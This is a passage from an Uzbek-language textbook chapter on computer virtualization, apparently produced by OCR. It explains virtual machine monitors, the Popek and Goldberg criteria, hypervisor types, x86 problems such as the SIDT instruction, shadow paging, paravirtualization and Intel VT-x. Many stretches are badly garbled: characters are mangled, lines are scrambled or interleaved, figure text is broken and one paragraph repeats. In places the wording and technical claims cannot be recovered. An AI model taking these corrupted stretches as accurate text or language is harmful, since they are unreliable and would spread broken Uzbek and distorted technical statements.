Digqat! Ba'zi aslia 1! ks ettiradi-:
) ks

et [oall.
; ‘_-;_{.‘Jf'f ] ;!‘Q ’ o-
BN dullardan iborat bo‘lgan, naz
i mo

7 ‘ini
"alarning :{1‘3'5"”.?”,“';"h”;’”.
/\'mmm; aniqroq varianit uyidag
) e adi:

VMM (virtual machir . ﬂlga;astul‘

" a Ve 3

Tat rejimida iSh]ﬂydfa‘:uioqnl ni chagiradi

[ 1 ~ou i P
all DlspaL‘Elf;erpreter funksiyala

Ocator yoki i

e monitor) d
stur sifatic

bo‘lib, tuzoq manziliga qarab




ST ——
- 3 -
&
"
4 gk

N n°i gl!otiaﬁor - c.ilspalcher tomopidan chaqiriladi. agar VM nazoratga oid buy-
Vfﬂs"la?c?;svga\;ﬁ?fa' Alloc.atort:z:m resurslarini boshgaradi. VMM resurslarini
é Interpreater_ dz'irga taymia“gaﬂ. resurslarni bir-biridan izolyatsiya giladi.
ni bajarishga urinsa I]rils: tChir tomonidan chagiriladi, agar VM imtiyozli buyruq-

o 18 - TIeTpreter xatoga olib keluvchi buyrugni mahalliy ravi
bajarilgandek simulatsiya giladi. uvchi buyrugni mahalliy ravishda
VM (virtual machi S i ]
aniqlanadi‘a”iqmg*I'CELH;)' % Idag,_ tav§:fga ega bo'lgan virtual muhit sifatida
si.” VMlar foyda!anL;vchiq;;]ifng&shma"'“g samarali, izolyatsiya qilingan nusxa-
- | : e, A £
Ekvivalentlik — v)\'g, ishl;i1 1slhlayd| Va quyidagi xususiyatlarga cga:
: : 0 G i
ti-harakatlarnj namoyish etishj kerﬁk gan dasturlar hagiqiy ijro bilan bir xil xat
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ishga tushirish jarayoni™ deb ataladigan tushunchaga taalluglidir. Garchi nazari-
vada VM tomonidan taqdim etilgan virtual muhit haqiqiy mashinaning nusxasi
bolishi kerak bo‘lsa-da. amalda bu doimo to*g‘ri emas. Aksincha, u cheklangan
subset yoki o*xshash kompyuter oilasini ifodalashi mumkin. O*sha davrdagi mi-
sol sifatida IBM S/360-67 ustida ishlaydigan CP-67. bu pagingni qo‘llab-quvvat-
lagan. lekin pagingni qo*llab-quvvatlamaydigan S/360-65 virtual muhitini ochib
berdi. Pagingning yo*qligi CP-67ni qayta ishga tushirishga imkon bermadi, bu
uchun modifikatsiyalar talab gilindi. Hatto agar VMM o°zining barcha talab qili-
nadigan xususiyatlari bilan virtual muhitni taqdim etsa ham, bu muhitda samarali
ishlash zarur.

Uchinchi teorema bilan bir gator yangi ta'riflarga duch kelamiz: xususiyatlari-
ni inobatea oluvchi ko*rsatmalar — bu foydalanuvchi-rejimida bajarilganda sente-
tiv inslru.l_(si\-'a: shuningdek. nazoratchi-hassos instruksiya — bu nazoratchi-rejimi-
da bajﬂri[ga,}da sezgir bo*lgan instruksiya sifatida ta'riflanadi.

23.1-jadval.

Popek va Goldbergning Kompyuter Modeli va Multitaskingni
qo‘llab-quvvatlovchi apparatlarning tagqoslanishi

Multitasking qo‘llab-
quvvatlovchi apparat

Popek va Goldbergning
Kompyuter Modeli

Nazoratchi/Foydalanuvchi Himoya halqalari

Ishlash rejimlari £ :
rejimlari

Tizim Resurslarini Ko*chirish Registri Segmentatsiya vaSahifalash

Xaritalash

Apparat Xatoliklari/

Tuzilish Mexanizmi al |
Tuzilishlari

Tuzilishlar

HVM (Gibrid Virtual Mashina) past samarali VMN} (Virtual l:d_ash_i_na_Moni-
tori) amalga oshirilishi sifatida ta"riﬂa.nadl., bunda virtual nazt'n:atc] o rejimida .ba-
jari[a)’otg£11 barcha kodlar tarjima qilinadi. Ushbu teore.I;La bl;m?c hi t.ec_)treli?arn;qg
talablarini yumshatadi, shunda o‘sha davrda mavjud bo‘lgan ba’zi arxitekturalar

. : in bo‘ladi.
ularni gqondira olishlari mumkin bo‘la

Goldbergning apparat virtualizatori
in bo‘lgan arxitekturalar va multitasking OSlar

: atsiva gilinishi mumk _ 3 :
Virtualizaisiya o o‘xshash xususiyatlarga ega. Bu o‘xshashlik-

. ton aratlar : X
;’;_hl:in_;;hllizui};;g;ilf? nn:?;),-ivilegiyalangan (foydalanuvchi) dasturlardan himo-
Z1

ya qiluvchi apparat mexanizmlarining mavijudligidan kelib chigadi. Ularni farqi
iluv

23.1-jadvalda tagqoslab ko‘rsatib o‘tilgan.

‘l_‘“)




VMM (Virtual Mashina Monitori) va multitasking OS yadrosi o*rtasida 0°x-
shashliklarni ham kuzatishimiz mumkin. '
rejimida ishlaydi, tizim resurslarini (CPU vagti, xotira. va saqlash) boshqaradi va

foydalanuvchi dasturlarga samarali ishlash uchun muhit tagdim etadi. Farg Shunf
daki. OS tomonidan taqdim etilgan muhit haqigiy mashinaning nusxasi bO'liS]?l
magqsad gilinmagan, chunkj ekvivalensiya Xususiyati mavjud emas. Buning e
ga, foydalanuychi dasturlarga “kengaytirilgan mashina interfeys;™ taqdim etiladi.
bu esa priviligiyalangan bo‘Imagan rejimdan kiriladigan apparat resurslari va yad-
roviy dastur interfeysining kombinatsiyasidir.

Ushbu himoya mexanizmlarini samg
mumkin. Bu Goldbergnining oldingi ishla
virtualizatori” konseptin; taklif gilgan. U
OS tomonidan

OS yadrosi privilegiyalangan bajarish

rali virtualizatsiya qilish giyin bo"lishi
ridan birida ko*rib chigilgan. u "appﬂl'ff‘
ikkita turdagi resurs xaritalarini kiritdi:

Eslatma! Windoy
vxd) deb nomlangan, py,
moya gilishda yaxshi iy

¥ yadrosi mody Virtual Muaching Vanager™ ("M,

"”“J’”""'f'ft‘,uf'l'ufun::( ur deastirlercen i
thaean v ) o ey ) R
8an vacl 0l uchun YtZigearli nom ranlovicdin

Lizim resurslaring
[

Ngan virtya| manzildan Xoti 3
. Z A -[

e!tlradl, BU istisn 0S Iraga kir
clgilaydi, Gojgpe
flangan vq sahifa-

ishga urinsa, sahifa-xXa-
yadrosj tomonidan qayta ish]aﬂﬂd'j
rg L{Sth dasturga ko*rinadigan xaritalashn!
Xalo istisnog; dasturga ko*rinadigan tuzoqq®

U €sa nima qilishp; b
“0-map” deb ta°;
aylantiriladj.

Mavjud bo*Imagan resur sga xaritd

T — ladi, u
Apparat virtualizatori yangi turdagi xaritani kiritadi, buwf map ﬁijb a'g‘ shqa
| <hiid] co‘rinmas bo‘lib, VMM tomonidan boshqa-
sahida ‘otean dasturlardan ko‘rinn ; P
Y[Md'ngj:;]i'lS]]lf:?k? ;:»tiranda f-map VM ning virtual resurslarini haqwglé\ ap]farat
riladi. 1V qihb aytg 2 i b . & " kom-
resurslari uq-\(;][‘i[;] giladi. VM ichida ishlayotgan dasturlar resurslarga “f° ¢

binatsiyalangan xarita orqali kiradi.

VM , Program

¢ I
et =, | Hardware

VM Exception/Trap s
resources

VM-Fault

Mavjud resursga xaritalash

resursni ham xaritalashi mumkin; bu holatda,
Eal] - . . .
'M-fault) keltirib chiqaradi.

/LVM-Fault
f
L+ .
m Exception/Trap

Mavjud bo‘lmagan resursga xarita

F-map mavjud bo‘lma
kirishga urinish VM-xato (V

Hardware
resources

ridan aniqlanishi mumkin. shuning u.chun u
)" darajadagi resurslarga xaritalaydi. Agar

- ishli. O‘zaro joylashgan
haqiqiy apparat resurslariga teSIS}}ll 0 ;qalji iwmkin
“n” i : carita haqiqr) . : zitsiyasi 0 ;
'n” daraja 0 bo‘lsa, xarit dagi f-mapni rekursiv kompozitsty

; izatsiva “n” darajadag

virtualizatsiya “n” d

: ai naza
f-map rekursiv VMM ““qt;]ami e
“n+1" darajadagi virtual resur

C




| | | VMM =0

| ]’VM xatolik
|

| Fa
+—+ et & )
| v
|

|
| | Texnik ta’mmnot
| | | resurslan

- Type-1va Type..z VMMlar
V P . _

r“gan?\:lnihair;:lﬁiessehlr!llsht_ )/Ol'u to.gfrldan—to*g'ri apparatda, yoki kengayti-
ishlaydigan hypervisor}!,:: _?Stlda] s 'mumk]n_ To'g'ridan-lo‘g‘ri qurilmada
interfeysi ostida ishlayd, an};ape- (mahalliy) dep ataladi, kengaytirilgan mashina
da turli virtualizats; gh' o Type-2 (xostlangan) deb ataladi. Hozirgi kun-
ya gei [ ;TﬁnkType- I‘ yoki Type-2 bo‘lishini da’vo qih:quﬂ-

b e ategorly'alarga t0°*lig mos kelmaydi. chunki bu
ponent sifatidg ko'riladi, aslida esa virtualizatsiya

rtasida turlj darajadagi imtiyozlar bilan

B
"“S‘dufanu\-ch: |
__Jarayoni J

Fﬂ}fdalanmr&,_ ]

--------
....................

| Foydalanuvchi

.| Jarayoni
Foydalanuvchi |
L Jarayom )

Type-2 VMM os0p,

; . "SONro amalao Tl s
taqdim etilgan mavjud funksiyalsrdashmhsha kerak, chynk u xost OS tomonidan

2 VMM xost 0S-nj v N foydalanjg,;
‘ i sh T -
qiladi. Odatda, bundy MM talah lad; mumkin, Birog, odatda. TyYP®

it dadigan fyc . :
va VirtualBox) bu m Y Virtualiza; unksiyalar bijan kengaytirishni talab
qismi foydalanuychj

Ya yechim|yy; © '
":gj?ﬁ;Chun bir qator ll:;:'il:](masman. VMware Workstation
: 1da j g
Typle'-l bo‘lishini da’vo qi]adig:]l? . 2an ish
oshirish sxemasidan unchalik farg g “ yechi
May;

Chll Jarayon tomonidan boshqarilad"
ilmayg; mlar, Masalan, KVM, ushbu amalga
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Type-1 VMM-lar duch keladigan qiyinchiliklardan biri — katta miqdordagi
apparat drayverlariga ehtiyojdir. Bazi amalga oshirishlar bu muammoni VMM-ga
ba’zi tizim resurslarini imtiyozli VM-larga uzatishga imkon berish orqali hal qila-
di. Yuklash jarayonida VMM ko*plab virtualizatsiya vazifalarini, masalan, apparat
qurilmalarini boshqarish va ishchi jarayonlar uchun mashina kengaytirilgan inter-
feysini taqdim etish kabi vazifalarni bajarish uchun imtiyozli VM yaratadi. Xen
da bu imtiyozli VM dom0 deb ataladi. Hyper-V da esa root-partition deb ataladi.
Boshqa Type-1 yechimlar, masalan, VMware ESXi. virtualizatsiya to*plamining
qolgan gismini ishlatish uchun o°z kernelini (VMkernel) ishga tushiradi.

x86 virtualizatsiyasi

Aparat virtualizatsiya kengaytmalari mavjud bo‘Imagan davrda. x86 arxitek-
turasida dastur tomonidan ko*rinmaydigan xaritalar (f-map) yoki tuzoqlar (VM-fa-
ult) tagdim etuvchi mexanizmlar mavjud emas edi. Shunga qaramay, dastur to-
monidan ko‘rinadiean mexanizmlar (virtual xotira va apparat istisnolari) asosida
VMM amalega osl1i;is[1 mumkin bo‘lar edi. Savol shundaki. x86 arxitekturasi Po-
pek va Goldbberunina virtualizatsiya talablariga javob beradimi?

Birinchi vir?ualiéatsiya teoremasi. sezgir instruksiyalar to*plami imtiyozli ins-
truksiyalar to*plamining bir qismi bo‘lishi kerakligilmi ta“l'\'ic'ilaydi. x.86 bu tala!:mi
qondirmaydi, chunki uning instruksiyalar to.‘plar.mda sezgir mstruks;y'.fl]ar ma\{_md
bo*lib. ular imtiyozli instruksiyalar to‘plamiga kl.rmaydl. Bu_c'heklovmng muhim-
ligini ko*proq tushunish uchun, bunday instruksiyalardan biriga chuqurroq nazar
tashlash ker: *ladi. _

1;115i20|‘13;atet]’3rluﬂgan SIDT (Store Interrupt D‘escriptor. TabI.e Regis.ter) 1nstr%1k.—
siyasi, u IDTR registrining tarkibini, yz.l’fli joriy IDT ning o lchamf va asosini,
uning magqsad operandining xotira manzuhga .Sf.lq[fl)’d‘- Slm ’“Z“'U.kSI_}f:’-‘l?g¥Ua_m;
moli bolib, u foydalanuvchi rejimidan bﬂjal'lllslhl mumKin Va: A Jorsy .ln'“c
kernel mangzilini olish imkonini beradi. Bu vaziyat, kemel‘ |§h]ab Cl'llq!.!VChltil-I'%E?
IDT ni boshga kernel gismlaridan ajratish va uni faqat o‘qish mumkin bo‘lishi

kabi choralarni ko‘rishga majbur gilgan.

Eslatma: Intel oxir-ogibat }’i{\'dufmm'.'c'z’;f;'Lff'if::;k/u.\'(;!)!, SiD f.. .\!,f:f. .'\Uﬁ”
va STR instruksivalarini bajarishni tagiglovehi U .\'c*r-.i,’ud(" l.!r..\'n'n.rvmu_; I :1:1 ention
(UMIP) \'” / .'1. itini I'H.*'fl'.p,'(ﬁ Bularning barchasi sezgir. imtivozli bo ‘Imagan

y XUSUSTVC : '
mstruksivalardiv!

a oshirish trap mexanizmini egallashni talab qila-

X86 uchun VMMni amalg foydalanuvchilarga virtual IDTlarni taqdim

i ing o ini o‘rnatish va (
- g e i S manSlDTlar bilan farqlanmasligi kerak. VM Ring-0
ligi lozim, shunda har qanday imtiyozli
tosiga (#GPF) olib keladi. Shunday qi-

<[ﬁ3

etish kerak, shunda ular haqiqiy
darajasida kod bajarishga ru;'(satil:)erma‘s;a
instruksiya urinishlari umumiy himoya:




lib, VMM VM tomonidan bajarilgan imtiyoz]j instruksiyals
qila oladi. o -

SIDT instruksiyasi by %%Wning faoliyatiga qanday aralashishi mumkin? VM
Ring-3 darajasida yadroviy kodni bajarishi kerak va bu yadroviy kod 0‘z virtu-
al IDTsi hagida ma’lumot olishni xohlaydi va SIDT instruksiyasinj bajaradi. Bu
imtiyozli instruksiya bo‘Imagani uchun CPU uni bajaradi va hech ganday #GPF

Yuzaga kelmaydi. Foydalanuvchi o°z virtual IDTsining “IDTRnj emas, balki
VMM tomonidan o‘rnatilgan haqiqiy IDTR mazmuninj oladi.

Xususiyati buziladi va resurs nazoratl Xususiyati xostnin
foydalanuvchilarga oshkor qilinishi orqali buziladj.

p-and-emulate

Bu ekvivalentlik

Ikkilik kodlarning dinamik ifodasj

Dinamik binar tarjima (DBT) - bu magsadlj binar kodnj Xostning mabhalliy
kodiga o*zgartirish usuli. Bu ko*pincha emulyatorlar tomonidan qo*llanijladi va
binz_xr intcrpretatsiya (har bir instruksiya dastur orqali talqin qilinadi) o*rnini bo-
sadi yoki uning bilan birga ishlaydi, bu esa tezroq bajarilish tezliginj ta’minlaydi.
Ma{qsadli instruksiyalar on-the-fly tarzda tarjima qilinadi, masalan, JIT kompilya-
torida. DBT murakkab bo*lishi mumkin va o‘zin; o'zaa-niradiﬂan kod kabli) b)lr
chak ho!at?ami maxsus ishlov berishni talah giladi. ) "
DBT imtiyozli sentetiy instruksiyalar tomonidan keltirilg:

sk uehiis: Sak ok s P BN Mol
f\ﬂ\_Sh uchun \?Jh‘l-&*}\\k‘:k\\ vk, Exovaly Aorlardan farqli o*larg A\ ey
SNekra o' nasidagi tarjima amalga yengil x86.o i};g]rurz'l‘ 2 ;
~10-x86 tarjimas

aqlanadj, O*zgarishlar fagat
va boshqaruv 0qimi instruk-
uriyati tarjima jara-
bog'liq. sentetiv

gini angladijar. e Yalami tarjima qilish
' Z0qlardan qochish va
Yanada kengaytirilgan

) luzogqa tush .- » SOyalj Xotira jsh]ati ’

: " a A Natilganda sa

bmarltar.llmaSl amalga shirilad; K digan Instr Slya a!‘ning “Mos] gl : iloan
truksiyalar k]ast - YINgl yaxshilapighy SRSHUTE

4 qilish Kabj | "Uz0q keltiradigan ins-

Virtualizable arXitektyr, ; I:l;lk,lahk"mpressori
uchun supervayzor rejim; » 4 Ish rejimjp; talab qif. 1. —.
rejimi. x86 himoyalangap, rej aS‘turIan'nj ishga fUShiglsi]?dl. o lshlalli];
etiladi, ulardan ikkitasi Oper. o © 'ganida, to°rt hj S foydalanu""_’
Alsion tj,; lar tomon;q mt‘;(y a (ring) darajasi taqd”;
A1 Keng qo‘llaniladi: Ring-
Iﬁ4>

——

yadro kodi uchun va Ring-3 foydalanuvchi dasturlari uchun. Ring-0 bo*Imagan
har qanday ring darajasida imtiyozli instruksiyani bajarishga urinish tuzoqqa
(GPF) olib keladi. Shy dizaynga amal qilib, VMs faqat Ring-1-3 darajalarida is-
hga tushirilishi kerak, VMM esa Ring-0 da ishlashi kerak. Buni amalga oshirish
uchun, VMda ishlayotgan OS yadrosi Ring-0 dan boshqa darajalardan biriga pa-
saytirilishi kerak.

X86 paging mexanizmi fagat “supervayzor” va “foydalanuvchi™ sahifalarini
ajratishi mumkin, Ring-0-2 ikkalasiga ham kirish huquqiga ega (SMAP va SMEP
qo*llanilmagan holatda), Ring-3 faqat “foydalanuvchi™ sahi falariga kirish huquqi-
£a ega. Shuning uchun, pagingni VMM Xotirasini himoya qilish uchun ishlatmog-
chi bo*lsak, VMs faqat Ring-3 da ishlashiga ruxsat berilishi kerak. Bu, yadroning
va uning f‘oydalanuvchijarayonlarining imtiyoz darajalarida farq bo‘lmaydi dega-
nidir.

Tajribali OS implementatsiyasida, virtual manzil maydoni ikki gismga bo*J;-
nadi, Yadroning xotirasini har bir foydalanuvchi Jjarayoniga xaritadiradi. By sxe-
maning bir necha afzalliklari bor, masalan, foydalanuvchi/yadro ko‘rsatkichlarin;
oddiy ajratish, yadro manzillarini TLBda keshda saqlash va yadrolardan foydala-
nuvchi -manzillarga to*g ridan-to‘g‘ri nusxalash opcratsiy':ﬂn‘rini bajarish n:nk:;n.i-
vati. Boshga tomondan. manzil maydnnir:ﬁng us;thf hn'lmtu E:-iimn-”li; 1‘:{:{2\
asyasini uzoq vagt davomida os.on\as-.hhr-d\ \"?1\_&0 ?\3\3. ralonklam Kamayumns

(KASLR. UDEREF, SMEP, va SMAP) ehtiyojini yaratdi.

Eslat Oxirgi villarda, imtivozli xotira mazmunini fovdalanvehi-rejimea
U P ‘ - . 3 o . Tt 2 wijarish —aii-
oshkor gilish uchun ishlatilishi mumkin bo lgan ko ‘plab vagtincha h_.*;:: is ;;f;
Vi ( i ! s G r . ’
L] A A o & o . > » 10¢- 1hle
likleri miglangan. Ularning ko pehiligini kamaytivish uchun .*'\u;n.f f; ‘;( ( >
e i . o i [ | 8 i, 1 il fovdalanuvchi
PT ‘Waniladi: gizigarli tomoni shundaki. bu usul fo
Isolation (KPTI) go llaniladi: gizigarli 1 ¢S e
J,f italarining ko'p qismini olib tashlash orqali ishlavdi, |
oo | P o varitale @
laravonlaridan vadro xari

. - . Jil 4 ¥ 11 F 10 ;‘.f]‘
[GAY# ] Ty ) ,f. [ Tagadim en 01 samuaura I‘T(” “ .Hjll !'I”i 1 L)
i ] a0’ 11 1 (1; mn I'! ;f-: Jl'_”( 1 oan f Al aring 3
o xornrg .l;"} f:f.”\fl?f oo - ‘f

qismini yo'q giladi.

3 joy irilganda, adreslash maydonining ulashishi mu-

Ym‘jm ‘Rm'g_?;{ gair{?}lltisl::g;g‘?/MM foydalanuvchi jarayonlari uc{um yf».zd-
ammo! ! b-o 'lad'L ;0 . ibla olmayd.i_. agar bu xotira kontekst almashinuvi oras:d.a
o xotzrasm{ h”?“’)a qva qayta joylashtirilmasa, lekin bu juda qimmat‘ bO'lﬂd.L
kartafian Chlqan“'n]i?a »-1 ga joylashtirishdir. Shu tarzda, paging yad_ronfng xoti-
Ye(':h']m " yad'mm ; l”il?alari) foydalanuvchi imtiyozida himoya qiladi. l::hroq, pa-
i (Supe’r\-:!sor . ]- isor sahifalarini Ring-1 dan himoya qila olmaydi; shuning
5:;}11%: mzﬁiizgiivfoydalanuvchi yadroidan himoya qilish uchun segmentat-

siyani ishlatish mumbkin.
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Eslatma: x86 64 ko'p sesmentatsiva  xususivatlaring vo'gotdi, shuning

uchun Ring-1 vechimini uzun refimda ishiatib

ho lmavdi. Bu =i / o
e o g : ; : « ziomodellarda
EFER LMSLE20 xususivati orgali segment ¢he =

earalarini i Hah-qgiiv-
) X : - GINnicn (Yo f(f =i
vatlash maviud, ammo bugungi kunda x86 64 protsessorlarida apparat virtuc

SOy, da apparat virtua-
; bu esa kevinchalik ko rib chigadiea-
lig muanimol, wdeain xalos giladi.

lizatsiya kengavtmalari ko prog uchraydi
nimizdek, bizni ring sigilishi bilan hoeo
&

Shadow Paging texnologiyasi

otdan ko*rinadigan, daraxtga

masi bo‘lgan yuqori darajali sahifa ; {
: ! ; s jali sahif; [ oy-
dalanadi. Oddiy sharoitlarda sahifa Jadvallari doimiy ravishd: gcsi\;a;]dizgfl 1:0:])())-

nidan ishlatiladi: irtualizat<:

v; sfl}l\/llf;r]j:r:ii]"g?n?dmo :{ Wtua]l;":ats]ya sharoitida ular muhim resurs hisoblanadi
ridan-to‘g‘ri irishga ruxsat beri =

alizatsiva gil; : : crilmasligi kerak. i virtu-
S!;ia[as:)y?o%cl;slh uchun- mafl?lna fizik manzillari (ya'ni, tizim figi ::M!{Im _V]r’oti
7 manzm}' ‘clfan:.nfchl ko‘rinmas bo*lishj kerak, buning o*rnigg ul o arl]} fi
ar (ya ni, mehmon fizik manzillari yoki GPAlar) t:f.lc::;dima I;egt?l'p?f?Lioii-r11
. A ishi lozim.

MMU “¢-map” sifatida qaralishi o
larni GPAga xarita giladi. G Iya gilingan MMU GVA-

3 ’ i OLZ ECI][ga ()Iad' v .

i to*plam g : I. Har bir foydalanuvchi

hagiqiy sahifa iadvellas tOEJ ] l'ga' Yozish uchun urinish trapga tush }é VMM
ravishda sj . Plamini (GVAlar v, HV, i W it

2 sinxronlashtirad. Alamni SPAga xaritalash) mos

Manzilni tarjima qil; :
‘ qilish ko*
. bu Jarayon to‘lj P dary

Eslatma: [/ ;
= < Ushbu kigop,
. R -
ress”) atamasidan o)y zim fizik mepzp g y [ add
< ; ! - e by Sysie Wnsic el
manzil " (114 : anziliny anglatish uchun /“"; K/ g -“*"‘; {}’ k
&L, n, fovdalaniveln fiZi8

.',!.;"HL’,\'( J"HIIF T
Vsicea] ”d{u "
A P - oley P

niden ko riladigan PSendofisip O alamasidan ey, foovdedanmvehi 10mo-

frevm ragami " (PIN - . @nzilni angletish el i '
' f“'ﬁ’t’,f!‘cmwmrmb ;"') '; Chun fovdalaniloan, * Samtfd
er”) uchun = Skl Z
1Zim sahifer frevin ragen!

|66 }

(SPEN — “svstem page frame number ™) voki ““fovdalamvchi sahifa frevm raga-
mi” (GPEN - enest page frame number ™) atamalaridan foydalanilgan. ™ Virtual
manzil = (1) weham esa “xost virtual manzil ™ (HVA = “xost virtuwal address ™) voki

“fovdalannchi vivtnal manzil” (G1A “auest virtual address”) atamalaridan
fovdalanigan. Boshga nomlash tizimlari ham mavjudligini hisohga olish kerak,

wlar kitobda fovdalanildigan atamalarga mos keladi.

VMM foydalanuvchi OS dan MMU konfiguratsiyasiga va/yoki sahifa-jadva-
lariga kirish uchun qilinayotgan harakatlarni boshqarishi kerak. MMU konfigu-
ratsiyasiga kirish uchun foydalanuvchi imtivozli insiruksiya!z}mi bajqrishi kerak
(masalan, CR3 yoki CR4 registrlariga kirish uchun). Imtiyozli instruksiyalar trapp
qiladi. shuning uchun bu holatni boshqarish oddiy. Foydalanuvchining sahifa-jad-
valariga kirishini boshqarish esa murakkabroq bo‘lib. pseudo-sahifa-jadvalar
to*plamini varatishni o°z ichiga oladi.

’ plf:g: ‘fﬁfffiiﬁ'ﬁ:ﬂlém CR3 ga PA o'matishga harakat gilsa, bu PA aslida foy-
dalanuvchining o‘z sahifa-jadvalarining eng yuqori datajasaga ishonadigan .GPA
hisoblanadi. CR3 ga yozish kirish VMM ga trapp qiladi, va VMM bu holatni qu-

idagi i baiarish orqali boshqaradi: -
yIdalé.[ Eiﬂ?iﬁ?;ﬂ:x:;ll Iomonigan CR3 ga o‘rnatilgan GPA ga mos keladigan SPA
ni olish.

2. SPA'ni HVA
ko*rib chigish:

3. Har bir yozuv ke
ichiga oladi.

4. Har bir sahifa-jadvalini
pseudo-sahifa-jadvali uchun. b
sahifa-jadvali MMU tomonida-
bo*ladi. Yozuvlar keyingi daraj' :
Agar yozuv keyingi darajatiﬂ'g_’lrlal
dow sahifa-jadvaliga yore T8 - o°lishi kerak.
¥ g mos kcladigandﬁ_zi;']?;‘;fa‘ﬂiggf ?c?‘:jlamiga tegishli GPA"ga :xaritalan'sa,
undaS ;;}i,%aorwcsgﬁi{];S_;ldfa]idagi tegishli yozuv o‘qish uchun faqat o‘qish holatiga
¢ matiladi. : <5 sahifa-jadvalarini yangilashga ha-

ili lanuvchi har safar 0z sahila i yan, :

ot ggants. yorih st VMM 8 L g

i tegishgli slma;;liaw sahi1"Ei-jadv.etlarini'j;f'flnf="!]5‘YP{-r G\?:A q?m a5 i qilinishic-,

Mexanizmi yordamida foydalansvchining o ki sahifa-jadvalariga Kirish
et yordami Konfiguratsiyasiga va/yoki sahifa f! riga 3

21 ko rsa.),tadl, 0OS’dan i boshqarishi kel'ﬂ|fA MMU }con iguratsiyasiga ki-
'‘chup qilinayotgan harakatla 2 nstruksiyalarni bajarishi kerak (masalan, CR3

Mish uchun foydalanuvehi imtiy©

oa xaritalang va uni ko‘rsatuvchi pseudo-sahifa-jadvalini

yingi darajadagi sahifa—jadvalarining GPA (GPFN)ni o°z
i oling va 2-qadamdan takrorlash. har bir
sahitﬁ—jadva]ini varatish. Ushbu shadow
i lekin foydalanuvchi uchun ko‘rinmas
adagijadvaiga yoki GVA’g'a xarital?r:lishi _mln.nkin_
dvalga yo*naltirilsa, uning SPA'si tegishli SI?a?
1 kerak. Agar GVA xaritalansa, yozuv SPA’ni

ng GPA’sin
ir shadow
n ishlatilad

B T L




Paravirtualizatsiya qilingan foydalanuvchilar VMM bilan muloqot gqilish
uchun hypercallsdan foydalanadilar. Bu. foydalanuvchi dasturlari tomonidan OS
vadrosidan xizmat so‘rash uchun ishlatiladigan tizim chaqiruvlariga o‘xshaydi,
ammo bu holatda foydalanuvchi VMMdan xizmat so‘ramoqda. Hypercalls odatda
CPU.MMU. apparat vaqt o*Ichagichlari va uzilishlarni boshqaruvchi kabi apparat

un). Imtiyozli instruksiyalar trapp qiladi..shuni‘n_s_z
diy. Foydalanuvchining sahiih-jadvalarEg'fl Kiri-
' do-sahifa-jadvalar to*plamini yara-

shini boshqarish esa murakkabroq bo‘lib. pseu
tishni 0°z ichiga oladi.

(shadow ) PDPT tshadow i PD (shadow I'T

P

c———e e _— {euest) PDPT SPEN read-onlvi_

P PTSPEN "

PDPT GVA ] : : ; J

..... ———m———

. (guest) PDPT (guest) "D I (guest) I'T
i| ‘s IPDGPFN]
' T | LDPT GIENY
Y PTGEFN! 19_Ml_
I

— SPA(MML)
-~ GPA

A oftset

] Foydalanuvchilar o'z pseudo-sahifa-jadvalar: M e :
i"“"iJShb""_i“Sdek, MMU‘te'lrjimalari shado;:v sai?il?;?aac:u:l:l:(;?g;iOGquf\hlilit:l "S];I’I:;
]gi?( xi:?;? an"lgalgfil:_l oshiriladi, shuning uchun by yerda hech qanday Zan‘::r‘ador-
qimmat:lchu}r;(l)ciq{kki(t):l]sqi tgmom'ian, sgk{ifa-j'advalarini yangilash murak‘kab va
s 'potensia] - ;-a mavjud. Birinchidan, yangilanishni bajaradigan har
kerak bo‘ladi. Ikki :]Ldelya uchun maxsus interpreter rutinalari (x86 emulatori)
s .'b nchidan, pseudo'-sahifa—jadva!ar va shadow g ]‘. fa-iadvalarini

SOUITD turish zarur. Har bir sahifa-jadvalarinj }'angiI:clsha;]c:lii[;1 n:?n?mal

xarajat VMM ga trapp qilish xarajati bolj
: 0°l i : i
orqali kamaytirilishi mumkin, : L R gty Qi i

Paravirtu alizatsiya

X86 arxitekturasini to*o*ri vi 1

X86 arxit g'ri virtualizatsiya qjlj ,
sekin bo‘lishi mumkin, Hypervisor dizay:i';iiqmsh Murakkab va ba’zi hollarda
samaradorligini oshirish maqsadida ba’zi

o‘tdi. Haqiqiy apparatni simulyatsiya qilish o

]{1}{}

komponentlari tomonidan taqdim etiladigan funksiyalarni o*rnini bosadi, shuning-
dek. inter-VM xabarlar va umumiy xotira qo‘llab-quvvatlash bilan funksiyalarni
kengaytirishi mumkin.

Paravirtualizatsiya gilingan qurilmalar emulyatsiya gilingan NIC va saqlash
qurilmalarini split driver modeli bilan almashtirishi mumkin. 'Qm:ilr_n'a orga to-
monlari xostda (yoki imtiyozli VMda) ishlaydi va ularning vazifasi tizim resurs-
larini boshqarish va foydalanuvchilarga sintetik interfeys (emulyatsiya gilingan
apparat interfeysidan oddiyroq va tezroq) taqdlm etlsl't_du.'. Foydalam.wcl?l ichida
ishlaydigan frontend drayverlari orqa tomon qurilmalari litl]al'l al.oqa ql!adl.'UShbu
model uchun asosiy transport qatlamini inter-VM aloga imkoniyatlari ustida qu-
rish mumkin. odatda. umumiy Xotira ustida halqali bufer.’af asosr:da Parawn‘uah'—
zatsiyaning ko*plab jihatlari apparat yordan}ida virtualizatsiya ka) p chﬁl;{]ovlar?}
yengib o*tganidan keyin ham saqlanib qoladi. Bundafﬁ tashqar, 1{) chcat (‘3_“;913 1
apparatea (VMCALL) kiritilgan. Hozirei kupfia kq plab hypervisorlar turli dara-
Yadagy ;ara\;'\ﬂua\'wat&\x_ a qobiliyatiarim ki etadi.

Qurilmaga asoslangan virtualizatsiya o .
Hozirgacha, x86 arxitekturasida apparat yordamida vmuallzat‘_s:ya .ITlaV_]ud
= ; iva usullari ko‘rib chiqildi. Oldingi arxitektura

i dagi virtualizats
bl i lanishini qollab-quvvatlash uchun apparat

cheklovlarini yengish va VMM r1vo) A - 2 :
kenuavtmaiari}iori\-' etildi. 2005-yil atrofida ikki asosiy amalga oshirish mustaqil

: R ; ivalari lari (VT-
: % i Virtualizatsiya Texnologiyalari Kengaytma ;
ravishda ishlab chigildi: Intc’ ¥ ari Secure Virtual Machine (SVM) nomi

: ; . 3 ile
X) va AMD Virtualizatsiya (AMD V). ilg 5 s
bgian tanilean. Ushbu bobda VT-x ning ba’zi jihatlari ko‘rib chigiladi.

VMX

Machine Extensions (VMX) instruksiya to*plamini taqdim etdi

rejimini qo‘shdi: VMX root operalt_siy-a reji{ni va
n-i. VMX root rejimi, superwsor-rejllmlda bf;; Igani
sa VMX non-root rejimida 1shllayd1. VMX

i i ini ri ialari bilan aralashtirmaslik kerak: ular umuman
